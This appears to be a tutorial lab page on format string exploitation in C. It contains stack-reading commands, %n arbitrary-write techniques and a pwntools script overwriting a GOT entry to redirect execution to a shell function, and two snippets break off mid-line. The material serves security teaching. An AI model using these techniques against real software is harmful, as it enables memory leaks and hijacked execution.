๐ฏ Lab Objectives
- Identify format string vulnerabilities in C source code
- Use %x/%p to read values off the stack
- Find the offset of your own input on the stack
- Leak canaries and libc addresses using %s
- Perform an arbitrary write using %n
- Overwrite a GOT entry to redirect execution
Topics Covered
- Printf format specifiers and the stack layout
- %x/%p for sequential stack reads
- %s for arbitrary address dereference
- %n for arbitrary writes (bytes written counter)
- GOT overwrite technique
- fmtstr_payload automation with pwntools
The Vulnerability
// Vulnerable code pattern
char buf[256];
read(0, buf, 256);
printf(buf); // FORMAT STRING BUG โ user controls the format string
// Correct usage: printf("%s", buf)
When the format string is attacker-controlled, every
%x, %s, or %n reads from or writes to the stack at the attacker's direction.Reading the Stack
# Send format specifiers โ they read consecutive stack values
python3 -c "print('%p.'*20)" | ./vuln
# Output: 0xf7abc123.0x1.0xff8a1234.0x41414141...
# Direct parameter access (faster)
echo "%7\$p" | ./vuln # read the 7th argument directly
# Find where your input lands on the stack
python3 -c "print('AAAA' + '.%p'*20)" | ./vuln
# Find 0x41414141 in output โ that index is your offset
Arbitrary Read with %s
# %s dereferences a pointer as a string โ put the target address on the stack
# If offset is 7 and address is 0x804a010:
python3 -c "
import struct
addr = struct.pack('
Arbitrary Write with %n
# %n writes the number of bytes printed so far to the address on the stack
# This lets you write any 4-byte value to any writable address
# Manual approach โ pad output to desired value, then write
# To write 0x41 (65) to address 0x804a020:
# python3 -c "print(struct.pack('
pwntools fmtstr_payload
from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
# Overwrite exit@GOT with address of shell()
# fmtstr_payload(offset, {write_addr: value_to_write})
payload = fmtstr_payload(7, {elf.got['exit']: elf.sym['shell']})
p.sendline(payload)
# Next call to exit() will jump to shell() instead
p.interactive()
Lab Complete! You can now exploit format string bugs to read memory, defeat stack canaries, and redirect code execution via GOT overwrites.